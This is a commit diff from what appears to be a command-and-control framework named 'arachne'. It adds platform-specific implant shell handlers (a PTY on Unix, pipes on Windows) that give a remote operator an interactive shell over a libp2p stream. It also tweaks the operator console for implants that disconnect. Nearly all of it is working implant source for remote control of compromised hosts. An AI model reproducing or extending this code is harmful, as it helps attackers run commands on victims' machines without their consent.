Fix Windows shell (pipes instead of PTY), deselect on disconnect, print newline after shell exits

implant/core/shell.go

@@ -1,54 +1,11 @@
 package core
 
 import (
-	"encoding/binary"
-	"io"
-	"log"
 	"os"
 	"os/exec"
 	"runtime"
-
-	"github.com/creack/pty"
-	"github.com/libp2p/go-libp2p/core/network"
 )
 
-func (a *Agent) handleShellStream(s network.Stream) {
-	defer s.Close()
-	remotePeer := s.Conn().RemotePeer()
-
-	var winsize pty.Winsize
-	if err := binary.Read(s, binary.LittleEndian, &winsize.Rows); err != nil {
-		log.Printf("[implant] read shell rows: %v", err)
-		return
-	}
-	if err := binary.Read(s, binary.LittleEndian, &winsize.Cols); err != nil {
-		log.Printf("[implant] read shell cols: %v", err)
-		return
-	}
-	if winsize.Rows < 10 || winsize.Cols < 10 {
-		winsize.Rows = 30
-		winsize.Cols = 120
-	}
-
-	shell := shellPath()
-	cmd := exec.Command(shell)
-	cmd.Env = append(os.Environ(), "TERM=xterm-256color")
-
-	f, err := pty.StartWithSize(cmd, &winsize)
-	if err != nil {
-		log.Printf("[implant] pty start: %v", err)
-		return
-	}
-	defer f.Close()
-
-	go func() {
-		io.Copy(f, s)
-	}()
-	io.Copy(s, f)
-
-	log.Printf("[implant] shell session ended for %s", remotePeer.String())
-}
-
 func shellPath() string {
 	switch runtime.GOOS {
 	case "windows":
@@ -65,3 +22,9 @@ func shellPath() string {
 		return "/bin/sh"
 	}
 }
+
+func shellCommand() *exec.Cmd {
+	cmd := exec.Command(shellPath())
+	cmd.Env = append(os.Environ(), "TERM=xterm-256color")
+	return cmd
+}

implant/core/shell_unix.go

@@ -0,0 +1,44 @@
+//go:build !windows
+
+package core
+
+import (
+	"encoding/binary"
+	"io"
+	"log"
+
+	"github.com/creack/pty"
+	"github.com/libp2p/go-libp2p/core/network"
+)
+
+func (a *Agent) handleShellStream(s network.Stream) {
+	defer s.Close()
+	remotePeer := s.Conn().RemotePeer()
+
+	var winsize pty.Winsize
+	if err := binary.Read(s, binary.LittleEndian, &winsize.Rows); err != nil {
+		log.Printf("[implant] read shell rows: %v", err)
+		return
+	}
+	if err := binary.Read(s, binary.LittleEndian, &winsize.Cols); err != nil {
+		log.Printf("[implant] read shell cols: %v", err)
+		return
+	}
+	if winsize.Rows < 10 || winsize.Cols < 10 {
+		winsize.Rows = 30
+		winsize.Cols = 120
+	}
+
+	cmd := shellCommand()
+	f, err := pty.StartWithSize(cmd, &winsize)
+	if err != nil {
+		log.Printf("[implant] pty start: %v", err)
+		return
+	}
+	defer f.Close()
+
+	go io.Copy(f, s)
+	io.Copy(s, f)
+
+	log.Printf("[implant] shell session ended for %s", remotePeer.String())
+}

implant/core/shell_windows.go

@@ -0,0 +1,55 @@
+//go:build windows
+
+package core
+
+import (
+	"encoding/binary"
+	"io"
+	"log"
+
+	"github.com/libp2p/go-libp2p/core/network"
+)
+
+func (a *Agent) handleShellStream(s network.Stream) {
+	defer s.Close()
+	remotePeer := s.Conn().RemotePeer()
+
+	var rows, cols uint16
+	if err := binary.Read(s, binary.LittleEndian, &rows); err != nil {
+		log.Printf("[implant] read shell rows: %v", err)
+		return
+	}
+	if err := binary.Read(s, binary.LittleEndian, &cols); err != nil {
+		log.Printf("[implant] read shell cols: %v", err)
+		return
+	}
+
+	cmd := shellCommand()
+	stdin, err := cmd.StdinPipe()
+	if err != nil {
+		log.Printf("[implant] stdin pipe: %v", err)
+		return
+	}
+	stdout, err := cmd.StdoutPipe()
+	if err != nil {
+		log.Printf("[implant] stdout pipe: %v", err)
+		return
+	}
+	stderr, err := cmd.StderrPipe()
+	if err != nil {
+		log.Printf("[implant] stderr pipe: %v", err)
+		return
+	}
+
+	if err := cmd.Start(); err != nil {
+		log.Printf("[implant] start shell: %v", err)
+		return
+	}
+
+	go io.Copy(stdin, s)
+	go io.Copy(s, stdout)
+	go io.Copy(s, stderr)
+
+	cmd.Wait()
+	log.Printf("[implant] shell session ended for %s", remotePeer.String())
+}

server/core/cli.go

@@ -58,6 +58,11 @@ func (o *Operator) RunCLI() {
 	fmt.Println()
 
 	for {
+		if selected != nil && selected.Disconnected {
+			fmt.Printf("implant %s@%s disconnected — returning to main prompt\n", selected.Name, selected.Hostname)
+			selected = nil
+		}
+
 		prompt := "arachne> "
 		if selected != nil {
 			prompt = fmt.Sprintf("arachne[%s@%s]> ", selected.Name, selected.Hostname)

server/core/operator.go

@@ -490,6 +490,7 @@ func (o *Operator) OpenShell(implantPeerID string) error {
 	}()
 
 	<-errCh
+	fmt.Println() // newline after shell exits
 	return nil
 }